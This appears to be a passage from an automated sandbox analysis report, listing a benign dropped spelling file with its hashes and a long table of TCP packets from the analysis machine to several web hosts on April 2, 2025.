SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Reputation:	low
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB\default.exc

Download File

Process:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Reputation:	low
Preview:	..

Static File Info

⊘No static file info

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 1378
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 08:38:49.855072021 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:38:49.870660067 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:38:49.870752096 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:38:50.158559084 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:38:50.174555063 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:38:50.174658060 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:38:50.762582064 CEST	49682	443	192.168.2.17	51.132.193.104
Apr 2, 2025 08:38:50.778585911 CEST	49683	80	192.168.2.17	2.17.190.73
Apr 2, 2025 08:38:50.778739929 CEST	49671	443	192.168.2.17	52.109.28.46
Apr 2, 2025 08:38:51.209547043 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.209585905 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.209692955 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.209800005 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.209810019 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.304932117 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:38:51.407351017 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.407460928 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.408090115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.408164978 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.408195019 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.409744978 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.409780025 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.410037041 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.410455942 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.450052023 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:38:51.456286907 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.588506937 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.590133905 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.590347052 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.590373039 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.593576908 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.593633890 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.593643904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.600068092 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.600141048 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.600155115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.606770992 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:38:51.607620001 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.607711077 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.607733011 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.613035917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.613112926 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.613127947 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.619429111 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.619518042 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.619532108 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.626044989 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.626125097 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.626138926 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.632612944 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.632684946 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.632699966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.677505016 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.677578926 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.677583933 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.677613974 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.677793980 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.680355072 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.687199116 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.687268019 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.687282085 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.687292099 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.687369108 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.693454981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.700036049 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.700103998 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.700169086 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.700176954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.700226068 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.706756115 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.713026047 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.713048935 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.713134050 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.713144064 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.713382959 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.719791889 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.725931883 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.726023912 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.726037979 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.732805014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.732888937 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.732888937 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.732913971 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.732969046 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.739061117 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.745110989 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.745196104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.745203972 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.745218992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.745325089 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.751135111 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.756710052 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.756793022 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.756865025 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.756899118 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.756961107 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.762331963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.764534950 CEST	49673	443	192.168.2.17	204.79.197.203
Apr 2, 2025 08:38:51.768022060 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.768174887 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.768198967 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.768225908 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.768304110 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.773812056 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.777451038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.777533054 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.777553082 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.777565956 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.777611971 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.781176090 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.785263062 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.785403967 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.785465956 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.785476923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.785547972 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.788053989 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.791152954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.791219950 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.791228056 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.794857025 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.794934034 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.794965029 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.794972897 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.795030117 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.797842979 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.801618099 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.801703930 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.801736116 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.801743984 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.801800013 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.805350065 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.807466984 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.807492971 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.807535887 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.807552099 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.807797909 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.810726881 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.814280987 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.814308882 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.814373016 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.814403057 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.814527988 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.817586899 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.821001053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.821027040 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.821055889 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.821065903 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.821118116 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.823724985 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.827013969 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.827096939 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.827101946 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.827172995 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.827616930 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.830295086 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.833539963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.833609104 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.833617926 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.833641052 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.833695889 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.835542917 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.835624933 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:51.835767984 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.836316109 CEST	49715	443	192.168.2.17	172.67.215.243
Apr 2, 2025 08:38:51.836352110 CEST	443	49715	172.67.215.243	192.168.2.17
Apr 2, 2025 08:38:51.836837053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.839811087 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.839876890 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.839884996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.843251944 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.843323946 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.843326092 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.843346119 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.843400955 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.846354008 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.849509001 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.849564075 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.849570990 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.852659941 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.852722883 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.852729082 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.856324911 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.856405020 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.856457949 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.856467962 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.856522083 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.858588934 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.861561060 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.861635923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.861712933 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.861722946 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.861776114 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.864501953 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.866677046 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.866751909 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.866823912 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.866833925 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.868283987 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.868290901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.869430065 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.869510889 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.869518995 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.871906996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.872016907 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.872028112 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.873362064 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.875397921 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.875467062 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.875478029 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.875504971 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.875526905 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.877742052 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.877808094 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.877820969 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.879504919 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.879563093 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.879571915 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.881679058 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.881769896 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.881778955 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.883730888 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.884282112 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.884290934 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.885806084 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.885898113 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.885906935 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.887727022 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.888349056 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.888356924 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.889699936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.890170097 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.890177965 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.891808987 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.891880035 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.891891956 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.893680096 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.893798113 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.893806934 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.895534039 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.895608902 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.895617962 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.897443056 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.897521019 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.897530079 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.899271011 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.899331093 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.899339914 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.901199102 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.901271105 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.901278973 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.902749062 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.902822018 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.902831078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.904606104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.904684067 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.904690981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.906400919 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.906476021 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.906483889 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.908032894 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.908097982 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.908106089 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.909821033 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.909929991 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.909936905 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.911756992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.911832094 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.911839008 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.912869930 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.912945032 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.912954092 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.914597988 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.914653063 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.914660931 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.916193008 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.916325092 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.916331053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.917666912 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.917774916 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.917782068 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.919189930 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.919473886 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.919481039 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.920829058 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.921058893 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.921066046 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.922560930 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.923330069 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.923341990 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.924066067 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.924216032 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.924221992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.925684929 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.925764084 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.925770998 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.927017927 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.927092075 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.927098036 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.928364992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.928441048 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.928447962 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.929830074 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.929905891 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.929913044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.931194067 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.931269884 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.931276083 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.932501078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.933446884 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.933454037 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.934413910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.934736013 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.934742928 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.935657024 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:51.935724974 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:51.935730934 CEST	443	49714	142.250.72.97	192.168.2.17
